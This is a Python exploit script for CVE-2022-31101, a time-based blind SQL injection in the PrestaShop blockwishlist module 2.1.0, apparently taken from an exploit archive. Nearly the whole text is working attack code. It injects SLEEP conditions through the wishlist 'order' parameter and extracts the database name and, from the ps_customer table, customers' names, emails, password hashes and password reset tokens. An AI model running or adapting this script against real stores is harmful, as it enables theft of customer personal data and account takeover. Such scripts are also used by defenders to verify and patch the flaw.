1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 |
# Exploit Title: Prestashop blockwishlist module 2.1.0 - SQLi # Date: 29/07/22 # Exploit Author: Karthik UJ (@5up3r541y4n) # Vendor Homepage: https://www.prestashop.com/en # Software Link (blockwishlist): https://github.com/PrestaShop/blockwishlist/releases/tag/v2.1.0 # Software Link (prestashop): https://hub.docker.com/r/prestashop/prestashop/ # Version (blockwishlist): 2.1.0 # Version (prestashop): 1.7.8.1 # Tested on: Linux # CVE: CVE-2022-31101 # This exploit assumes that the website uses 'ps_' as prefix for the table names since it is the default prefix given by PrestaShop import requests url = input("Enter the url of wishlist's endpoint (http://website.com/module/blockwishlist/view?id_wishlist=1): ") # Example: http://website.com/module/blockwishlist/view?id_wishlist=1 cookie = input("Enter cookie value:\n") header = { "Cookie": cookie } # Define static stuff param = "&order=" staticStart = "p.name, (select case when (" staticEnd = ") then (SELECT SLEEP(7)) else 1 end); -- .asc" charset = 'abcdefghijklmnopqrstuvwxyz1234567890_-@!#$%&\'*+/=?^<code>{|}~' charset = list(charset) emailCharset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_-@!#$%&\'*+/=?^</code>{|}~.' emailCharset = list(emailCharset) # Query current database name length print("\nFinding db name's length:") for length in range(1, 65): condition = "LENGTH(database())=" + str(length) fullUrl = url + param + staticStart + condition + staticEnd try: req = requests.get(fullUrl, headers=header, timeout=8) except requests.exceptions.Timeout: dbLength=length print("Length: ", length, end='') print("\n") break print("Enumerating current database name:") databaseName = '' for i in range(1, dbLength+1): for char in charset: condition = "(SUBSTRING(database()," + str(i) + ",1)='" + char + "')" fullUrl = url + param + staticStart + condition + staticEnd try: req = requests.get(fullUrl, headers=header, timeout=8) except requests.exceptions.Timeout: print(char, end='') databaseName += char break print() # Enumerate any table prefix = "ps_" tableName = prefix + "customer" staticStart = "p.name, (select case when (" staticEnd1 = ") then (SELECT SLEEP(7)) else 1 end from " + tableName + " where id_customer=" staticEnd2 = "); -- .asc" print("\nEnumerating " + tableName + " table") for id in range(1, 10): condition = "id_customer=" + str(id) fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) print("\nOnly " + str(id - 1) + " records found. Exiting...") break except requests.exceptions.Timeout: pass print("\nid = " + str(id)) # Finding firstname length for length in range(0, 100): condition = "LENGTH(firstname)=" + str(length) fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) except requests.exceptions.Timeout: firstnameLength=length print("Firstname length: ", length, end='') print() break # Enumerate firstname firstname = '' print("Firstname: ", end='') for i in range(1, length+1): for char in charset: condition = "SUBSTRING(firstname," + str(i) + ",1)='" + char + "'" fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) except requests.exceptions.Timeout: print(char, end='') firstname += char break print() # Finding lastname length for length in range(1, 100): condition = "LENGTH(lastname)=" + str(length) fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) except requests.exceptions.Timeout: lastnameLength=length print("Lastname length: ", length, end='') print() break # Enumerate lastname lastname = '' print("Lastname: ", end='') for i in range(1, length+1): for char in charset: condition = "SUBSTRING(lastname," + str(i) + ",1)='" + char + "'" fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) except requests.exceptions.Timeout: print(char, end='') firstname += char break print() # Finding email length for length in range(1, 320): condition = "LENGTH(email)=" + str(length) fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) except requests.exceptions.Timeout: emailLength=length print("Email length: ", length, end='') print() break # Enumerate email email = '' print("Email: ", end='') for i in range(1, length+1): for char in emailCharset: condition = "SUBSTRING(email," + str(i) + ",1)= BINARY '" + char + "'" fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) if req.status_code == 500 and char == '.': print(char, end='') email += char except requests.exceptions.Timeout: print(char, end='') email += char break print() # Finding password hash length for length in range(1, 500): condition = "LENGTH(passwd)=" + str(length) fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) except requests.exceptions.Timeout: passwordHashLength=length print("Password hash length: ", length, end='') print() break # Enumerate password hash passwordHash = '' print("Password hash: ", end='') for i in range(1, length+1): for char in emailCharset: condition = "SUBSTRING(passwd," + str(i) + ",1)= BINARY '" + char + "'" fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) if req.status_code == 500 and char == '.': print(char, end='') passwordHash += char except requests.exceptions.Timeout: print(char, end='') passwordHash += char break print() # Finding password reset token length for length in range(0, 500): condition = "LENGTH(reset_password_token)=" + str(length) fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) except requests.exceptions.Timeout: passwordResetTokenLength=length print("Password reset token length: ", length, end='') print() break # Enumerate password reset token passwordResetToken = '' print("Password reset token: ", end='') for i in range(1, length+1): for char in emailCharset: condition = "SUBSTRING(reset_password_token," + str(i) + ",1)= BINARY '" + char + "'" fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) if req.status_code == 500 and char == '.': print(char, end='') passwordResetToken += char except requests.exceptions.Timeout: print(char, end='') passwordResetToken += char break print() |